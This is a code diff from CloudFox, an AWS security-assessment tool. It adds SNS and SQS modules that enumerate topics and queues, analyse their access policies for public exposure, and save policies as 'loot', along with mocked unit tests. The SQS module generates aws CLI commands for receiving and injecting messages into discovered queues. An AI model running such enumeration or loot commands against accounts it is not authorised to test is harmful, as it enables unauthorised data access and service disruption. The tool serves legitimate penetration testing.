|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
for _, t := range ListTopics.Topics {
|
||||
topic, err := m.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
|
||||
if err != nil {
|
||||
topic.Name = aws.ToString(t.TopicArn)
|
||||
}
|
||||
topic.Name = parsedArn.Resource
|
||||
topic.Region = parsedArn.Region
|
||||
|
||||
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
|
||||
topic.IsPublic = "No"
|
||||
if !topic.Policy.IsEmpty() {
|
||||
m.analyseTopicPolicy(topic, dataReceiver)
|
||||
} else {
|
||||
// If the topic policy "resource policy" is empty, the only principals that have permisisons
|
||||
// are those that are granted access by IAM policies
|
||||
//topic.Access = "Private. Access allowed by IAM policies"
|
||||
topic.Access = "Only intra-account access (via IAM) allowed"
|
||||
dataReceiver <- *topic
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListTopics.NextToken != nil {
|
||||
PaginationControl = ListTopics.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SNSModule) getTopicWithAttributes(topicARN string, region string) (*SNSTopic, error) {
|
||||
topic := &SNSTopic{
|
||||
ARN: topicARN,
|
||||
}
|
||||
|
||||
GetTopicAttributes, err := m.SNSClient.GetTopicAttributes(
|
||||
context.TODO(),
|
||||
&sns.GetTopicAttributesInput{
|
||||
TopicArn: aws.String(topicARN),
|
||||
},
|
||||
func(o *sns.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("GetTopicAttributes(%s) failed: %s", topicARN, err)
|
||||
}
|
||||
|
||||
if policyJSON, ok := GetTopicAttributes.Attributes["Policy"]; ok {
|
||||
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parsing topic access policy (%s) as JSON: %s", topicARN, err)
|
||||
}
|
||||
|
||||
topic.PolicyJSON = policyJSON
|
||||
topic.Policy = policy
|
||||
}
|
||||
|
||||
return topic, nil
|
||||
}
|
||||
|
||||
func (m *SNSModule) analyseTopicPolicy(topic *SNSTopic, dataReceiver chan SNSTopic) {
|
||||
m.storeAccessPolicy(topic)
|
||||
|
||||
if topic.Policy.IsPublic() && !topic.Policy.IsConditionallyPublic() {
|
||||
topic.IsPublic = "YES"
|
||||
}
|
||||
|
||||
for i, statement := range topic.Policy.Statement {
|
||||
var prefix string = ""
|
||||
if len(topic.Policy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
topic.ResourcePolicySummary = topic.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
} else {
|
||||
topic.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
topic.ResourcePolicySummary = strings.TrimSuffix(topic.ResourcePolicySummary, "\n")
|
||||
|
||||
}
|
||||
dataReceiver <- *topic
|
||||
|
||||
}
|
||||
|
||||
func (m *SNSModule) storeAccessPolicy(topic *SNSTopic) {
|
||||
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", m.getTopicName(topic.ARN)))
|
||||
|
||||
if err := m.storeFile(f, topic.PolicyJSON); err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SNSModule) getLootDir() string {
|
||||
return filepath.Join(m.output.FilePath, "loot", "sns-policies")
|
||||
}
|
||||
|
||||
// Example: arn:aws:sns:us-east-2:123456789012:MyTopic
|
||||
func (m *SNSModule) getTopicName(topicARN string) string {
|
||||
tokens := strings.SplitN(topicARN, ":", 6)
|
||||
if len(tokens) != 6 {
|
||||
return ""
|
||||
}
|
||||
return tokens[5]
|
||||
}
|
||||
|
||||
func (m *SNSModule) storeFile(filename string, policy string) error {
|
||||
err := os.MkdirAll(filepath.Dir(filename), 0750)
|
||||
if err != nil && !os.IsExist(err) {
|
||||
return fmt.Errorf("creating parent dirs: %s", err)
|
||||
}
|
||||
|
||||
return os.WriteFile(filename, []byte(policy), 0644)
|
||||
|
||||
}
|
||||
+138
@@ -0,0 +1,138 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/spf13/afero"
|
||||
)
|
||||
|
||||
func TestSNSQueues(t *testing.T) {
|
||||
c := &mockedSNSClient{
|
||||
Topics: map[string]map[string]string{
|
||||
"arn:aws:sns:us-east-1:123456789012:MyFirstTopic": {
|
||||
"Policy": `{"Statement":[{"Effect":"Allow","Principal":"*","Action":"SNS:Publish","Resource":"arn:aws:sns:us-east-1:123456789012:MyFirstTopic","Condition":{"StringEquals":{"aws:sourceVpce":"vpce-1a2b3c4d"}}}]}`,
|
||||
},
|
||||
"arn:aws:sns:us-west-2:123456789012:MySecondTopic": {},
|
||||
},
|
||||
}
|
||||
|
||||
m := SNSModule{
|
||||
SNSClient: c,
|
||||
StorePolicies: true,
|
||||
AWSProfile: "unittesting",
|
||||
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
Account: aws.String("123456789012"),
|
||||
},
|
||||
Goroutines: 3,
|
||||
}
|
||||
|
||||
fs := internal.MockFileSystem(true)
|
||||
defer internal.MockFileSystem(false)
|
||||
tmpDir := "."
|
||||
|
||||
// execute the module with verbosity = 2
|
||||
m.PrintSNS("table", tmpDir, 2)
|
||||
|
||||
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/unittesting/table/sns.txt")
|
||||
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
|
||||
if err != nil {
|
||||
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
|
||||
}
|
||||
expectedResults := strings.TrimLeft(`
|
||||
╭──────────────────────────────────────────────────┬─────────┬─────────────────────────────────────────────╮
|
||||
│ ARN │ Public? │ Resource Policy Summary │
|
||||
├──────────────────────────────────────────────────┼─────────┼─────────────────────────────────────────────┤
|
||||
│ arn:aws:sns:us-east-1:123456789012:MyFirstTopic │ No │ Everyone can SNS:Publish │
|
||||
│ │ │ -> Only when aws:sourceVpce = vpce-1a2b3c4d │
|
||||
│ arn:aws:sns:us-west-2:123456789012:MySecondTopic │ No │ │
|
||||
╰──────────────────────────────────────────────────┴─────────┴─────────────────────────────────────────────╯
|
||||
`, "\n")
|
||||
if string(resultsFile) != expectedResults {
|
||||
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
|
||||
}
|
||||
}
|
||||
|
||||
/// ########## Mocks ##########
|
||||
|
||||
// mockedSNSClient can return data about a hardcoded set of topics
|
||||
type mockedSNSClient struct {
|
||||
Topics map[string]map[string]string // map of topic ARNs to attributes (which are maps of string names to string values)
|
||||
}
|
||||
|
||||
func (c *mockedSNSClient) ListTopics(ctx context.Context, params *sns.ListTopicsInput, optFns ...func(*sns.Options)) (*sns.ListTopicsOutput, error) {
|
||||
out := sns.ListTopicsOutput{}
|
||||
|
||||
region := c.getRequestedRegion(optFns...)
|
||||
|
||||
for arn := range c.Topics {
|
||||
if getRegionFromTopicARN(arn) != region {
|
||||
continue
|
||||
}
|
||||
|
||||
out.Topics = append(out.Topics, types.Topic{
|
||||
TopicArn: aws.String(arn),
|
||||
})
|
||||
}
|
||||
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
func (c *mockedSNSClient) GetTopicAttributes(ctx context.Context, params *sns.GetTopicAttributesInput, optFns ...func(*sns.Options)) (*sns.GetTopicAttributesOutput, error) {
|
||||
out := sns.GetTopicAttributesOutput{}
|
||||
|
||||
if params.TopicArn == nil {
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
region := c.getRequestedRegion(optFns...)
|
||||
|
||||
out.Attributes = make(map[string]string)
|
||||
|
||||
for arn, attributes := range c.Topics {
|
||||
if arn != *params.TopicArn {
|
||||
continue
|
||||
}
|
||||
|
||||
if getRegionFromTopicARN(arn) != region {
|
||||
continue
|
||||
}
|
||||
|
||||
for k, v := range attributes {
|
||||
out.Attributes[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
// Example: arn:aws:sns:us-east-2:123456789012:MyTopic
|
||||
var reGetRegionFromTopicARN = regexp.MustCompile(`arn:aws:sns:([a-z0-9-]+):[0-9]+:`)
|
||||
|
||||
func getRegionFromTopicARN(url string) string {
|
||||
match := reGetRegionFromTopicARN.FindStringSubmatch(url)
|
||||
if len(match) != 2 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return match[1]
|
||||
}
|
||||
|
||||
func (c *mockedSNSClient) getRequestedRegion(optFns ...func(*sns.Options)) string {
|
||||
opts := &sns.Options{}
|
||||
for _, optFn := range optFns {
|
||||
optFn(opts)
|
||||
}
|
||||
|
||||
return opts.Region
|
||||
}
|
||||
+395
@@ -0,0 +1,395 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/aws/arn"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type SQSModule struct {
|
||||
// General configuration data
|
||||
SQSClient AWSSQSClient
|
||||
|
||||
StorePolicies bool
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
|
||||
// Main module data
|
||||
Queues []Queue
|
||||
CommandCounter internal.CommandCounter
|
||||
// Used to store output data for pretty printing
|
||||
output internal.OutputData2
|
||||
modLog *logrus.Entry
|
||||
}
|
||||
|
||||
type AWSSQSClient interface {
|
||||
ListQueues(ctx context.Context, params *sqs.ListQueuesInput, optFns ...func(*sqs.Options)) (*sqs.ListQueuesOutput, error)
|
||||
GetQueueAttributes(ctx context.Context, params *sqs.GetQueueAttributesInput, optFns ...func(*sqs.Options)) (*sqs.GetQueueAttributesOutput, error)
|
||||
}
|
||||
|
||||
type Queue struct {
|
||||
URL string
|
||||
Name string
|
||||
Arn string
|
||||
Region string
|
||||
Policy policy.Policy
|
||||
PolicyJSON string
|
||||
Access string
|
||||
IsPublic string
|
||||
IsConditionallyPublic string
|
||||
Statement string
|
||||
Actions string
|
||||
ConditionText string
|
||||
ResourcePolicySummary string
|
||||
}
|
||||
|
||||
func (m *SQSModule) PrintSQS(outputFormat string, outputDirectory string, verbosity int) {
|
||||
// These stuct values are used by the output module
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
m.output.CallingModule = "sqs"
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating SQS queues for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
|
||||
|
||||
//create a channel to receive the objects
|
||||
dataReceiver := make(chan Queue)
|
||||
|
||||
// Create a channel to signal to stop
|
||||
receiverDone := make(chan bool)
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
// Send a message to the spinner goroutine to close the channel and stop
|
||||
spinnerDone <- true
|
||||
<-spinnerDone
|
||||
// Send a message to the data receiver goroutine to close the channel and stop
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{
|
||||
"Arn",
|
||||
"Public?",
|
||||
"Resource Policy Summary",
|
||||
}
|
||||
|
||||
sort.SliceStable(m.Queues, func(i, j int) bool {
|
||||
return m.Queues[i].URL < m.Queues[j].URL
|
||||
})
|
||||
|
||||
// Table rows
|
||||
for i := range m.Queues {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Queues[i].Arn,
|
||||
m.Queues[i].IsPublic,
|
||||
m.Queues[i].ResourcePolicySummary,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] %s queues found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
fmt.Printf("[%s][%s] Access policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No queues found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
}
|
||||
|
||||
func (m *SQSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sqs", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getSQSRecordsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
func (m *SQSModule) Receiver(receiver chan Queue, receiverDone chan bool) {
|
||||
defer close(receiverDone)
|
||||
for {
|
||||
select {
|
||||
case data := <-receiver:
|
||||
m.Queues = append(m.Queues, data)
|
||||
case <-receiverDone:
|
||||
receiverDone <- true
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SQSModule) writeLoot(outputDirectory string, verbosity int, profile string) {
|
||||
path := filepath.Join(outputDirectory, "loot")
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
}
|
||||
lootCommandsFile := filepath.Join(path, "sqs-commands.txt")
|
||||
|
||||
var out string
|
||||
out = out + fmt.Sprintln("#############################################")
|
||||
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
|
||||
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the buckets.")
|
||||
out = out + fmt.Sprintln("# E.g., export profile=dev-prod.")
|
||||
out = out + fmt.Sprintln("#############################################")
|
||||
out = out + fmt.Sprintln("")
|
||||
|
||||
for _, queue := range m.Queues {
|
||||
|
||||
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(queue.Name)+7))
|
||||
out = out + fmt.Sprintf("# Queue: %s\n", queue.Name)
|
||||
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(queue.Name)+7))
|
||||
out = out + fmt.Sprintln("# Receive a message from the queue ")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. In production environments, use this command with caution")
|
||||
out = out + fmt.Sprintln("# WARNING: and in coordination with application owners. Receiving a message does not delete it from the queue, but this action")
|
||||
out = out + fmt.Sprintln("# WARNING: can potentially cause latency or it could DoS applications that consume the queue messages")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs receive-message --queue-url %s --attribute-names All --message-attribute-names All --max-number-of-messages 5 --visibility-timeout 0\n\n", queue.Region, queue.URL)
|
||||
out = out + fmt.Sprintln("# Send a message to the queue without attributes file")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
|
||||
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
|
||||
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs send-message --queue-url %s --message-body \"[INSERT MESSAGE BODY]\"\n\n", queue.Region, queue.URL)
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# Send message to the queue with attributes file (You'll have to create and populate the file)")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
|
||||
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
|
||||
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs send-message --queue-url %s --message-body \"[INSERT MESSAGE BODY] --message-attributes file://./file.json\"\n\n", queue.Region, queue.URL)
|
||||
|
||||
}
|
||||
|
||||
err = os.WriteFile(lootCommandsFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
fmt.Println()
|
||||
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to send/receive sqs messages if you have right permissions."))
|
||||
fmt.Print(out)
|
||||
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), lootCommandsFile)
|
||||
|
||||
}
|
||||
|
||||
func (m *SQSModule) getSQSRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
|
||||
for {
|
||||
ListQueues, err := m.SQSClient.ListQueues(
|
||||
context.TODO(),
|
||||
&sqs.ListQueuesInput{
|
||||
MaxResults: aws.Int32(1000),
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *sqs.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
for _, url := range ListQueues.QueueUrls {
|
||||
queue, err := m.getQueueWithAttributes(url, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
|
||||
queue.IsPublic = "No"
|
||||
|
||||
if !queue.Policy.IsEmpty() {
|
||||
m.analyseQueuePolicy(queue, dataReceiver)
|
||||
} else {
|
||||
// If the queue policy "resource policy" is empty, the only principals that have permisisons
|
||||
// are those that are granted access by IAM policies
|
||||
//queue.Access = "Private. Access allowed by IAM policies"
|
||||
queue.Access = "Only intra-account access (via IAM) allowed"
|
||||
dataReceiver <- *queue
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListQueues.NextToken != nil {
|
||||
PaginationControl = ListQueues.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SQSModule) getQueueWithAttributes(queueURL string, region string) (*Queue, error) {
|
||||
queue := &Queue{
|
||||
URL: queueURL,
|
||||
}
|
||||
|
||||
GetQueueAttributes, err := m.SQSClient.GetQueueAttributes(
|
||||
context.TODO(),
|
||||
&sqs.GetQueueAttributesInput{
|
||||
QueueUrl: aws.String(queueURL),
|
||||
AttributeNames: []types.QueueAttributeName{
|
||||
types.QueueAttributeNamePolicy,
|
||||
types.QueueAttributeNameQueueArn,
|
||||
},
|
||||
},
|
||||
func(o *sqs.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("GetQueueAttributes(%s) failed: %s", queueURL, err)
|
||||
}
|
||||
|
||||
if queueArn, ok := GetQueueAttributes.Attributes[string(types.QueueAttributeNameQueueArn)]; ok {
|
||||
parsedArn, err := arn.Parse(queueArn)
|
||||
if err != nil {
|
||||
queue.Name = queueArn
|
||||
}
|
||||
queue.Arn = queueArn
|
||||
queue.Name = parsedArn.Resource
|
||||
queue.Region = parsedArn.Region
|
||||
}
|
||||
|
||||
if policyJSON, ok := GetQueueAttributes.Attributes[string(types.QueueAttributeNamePolicy)]; ok {
|
||||
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parsing queue access policy (%s) as JSON: %s", queueURL, err)
|
||||
}
|
||||
|
||||
queue.PolicyJSON = policyJSON
|
||||
queue.Policy = policy
|
||||
}
|
||||
|
||||
return queue, nil
|
||||
}
|
||||
|
||||
func (m *SQSModule) analyseQueuePolicy(queue *Queue, dataReceiver chan Queue) {
|
||||
m.storeAccessPolicy(queue)
|
||||
|
||||
if queue.Policy.IsPublic() && !queue.Policy.IsConditionallyPublic() {
|
||||
queue.IsPublic = "YES"
|
||||
}
|
||||
|
||||
for i, statement := range queue.Policy.Statement {
|
||||
var prefix string = ""
|
||||
if len(queue.Policy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
queue.ResourcePolicySummary = queue.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
} else {
|
||||
queue.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
|
||||
}
|
||||
dataReceiver <- *queue
|
||||
}
|
||||
|
||||
func (m *SQSModule) storeAccessPolicy(queue *Queue) {
|
||||
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", m.getQueueName(queue.URL)))
|
||||
|
||||
if err := m.storeFile(f, queue.PolicyJSON); err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SQSModule) getLootDir() string {
|
||||
return filepath.Join(m.output.FilePath, "loot", "sqs-policies")
|
||||
}
|
||||
|
||||
func (m *SQSModule) getQueueName(url string) string {
|
||||
tokens := strings.SplitN(url, "/", 5)
|
||||
if len(tokens) != 5 {
|
||||
return ""
|
||||
}
|
||||
return tokens[4]
|
||||
}
|
||||
|
||||
func (m *SQSModule) storeFile(filename string, policy string) error {
|
||||
err := os.MkdirAll(filepath.Dir(filename), 0750)
|
||||
if err != nil && !os.IsExist(err) {
|
||||
return fmt.Errorf("creating parent dirs: %s", err)
|
||||
}
|
||||
|
||||
return os.WriteFile(filename, []byte(policy), 0644)
|
||||
|
||||
}
|
||||
+148
@@ -0,0 +1,148 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/spf13/afero"
|
||||
)
|
||||
|
||||
func TestSQSQueues(t *testing.T) {
|
||||
c := &mockedSQSClient{
|
||||
Queues: map[string]map[string]string{
|
||||
"https://sqs.us-east-1.amazonaws.com/123456789012/policy-queue": {
|
||||
string(types.QueueAttributeNamePolicy): `{"Version": "2012-10-17","Id": "anyID","Statement": [{"Sid":"unconditionally_public","Effect": "Allow","Principal": {"AWS": "*"},"Action": "sqs:*","Resource": "arn:aws:sqs:*:123456789012:some-queue"}]}`,
|
||||
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:policy-queue`,
|
||||
},
|
||||
"https://sqs.us-west-1.amazonaws.com/123456789012/no-policy-queue": {
|
||||
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:no-policy-queue`,
|
||||
},
|
||||
"https://sqs.us-east-1.amazonaws.com/123456789012/condition-queue": {
|
||||
string(types.QueueAttributeNamePolicy): `{"Version":"2012-10-17","Id":"SQS-Account-Policy","Statement":[{"Sid":"Allows3Access","Effect":"Allow","Principal":{"Service":"s3.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"},{"Sid":"AllowRoleAccess","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123456789012:root"},"Action":"SQS:*","Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"},{"Sid":"AllowFullAccess","Effect":"Allow","Principal":"*","Action":["SQS:SendMessage","SQS:ReceiveMessage"],"Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"}]}`,
|
||||
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:condition-queue`,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
m := SQSModule{
|
||||
SQSClient: c,
|
||||
AWSProfile: "unittesting",
|
||||
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
Account: aws.String("123456789012"),
|
||||
},
|
||||
Goroutines: 3,
|
||||
}
|
||||
|
||||
fs := internal.MockFileSystem(true)
|
||||
defer internal.MockFileSystem(false)
|
||||
tmpDir := "."
|
||||
|
||||
// execute the module with verbosity set to 2
|
||||
m.PrintSQS("table", tmpDir, 2)
|
||||
|
||||
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/unittesting/table/sqs.txt")
|
||||
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
|
||||
if err != nil {
|
||||
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
|
||||
}
|
||||
expectedResults := strings.TrimLeft(`
|
||||
╭────────────────────────────────────────────────────┬─────────┬────────────────────────────────────────────────────────────╮
|
||||
│ Arn │ Public? │ Resource Policy Summary │
|
||||
├────────────────────────────────────────────────────┼─────────┼────────────────────────────────────────────────────────────┤
|
||||
│ arn:aws:sqs:us-east-1:123456789012:condition-queue │ YES │ Statement 0 says: s3.amazonaws.com can SQS:SendMessage │
|
||||
│ │ │ │
|
||||
│ │ │ Statement 1 says: arn:aws:iam::123456789012:root can SQS:* │
|
||||
│ │ │ │
|
||||
│ │ │ Statement 2 says: Everyone can perform 2 actions │
|
||||
│ │ │ │
|
||||
│ arn:aws:sqs:us-east-1:123456789012:policy-queue │ YES │ * can sqs:* │
|
||||
│ │ │ │
|
||||
│ arn:aws:sqs:us-east-1:123456789012:no-policy-queue │ No │ │
|
||||
╰────────────────────────────────────────────────────┴─────────┴────────────────────────────────────────────────────────────╯
|
||||
`, "\n")
|
||||
if string(resultsFile) != expectedResults {
|
||||
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
|
||||
}
|
||||
}
|
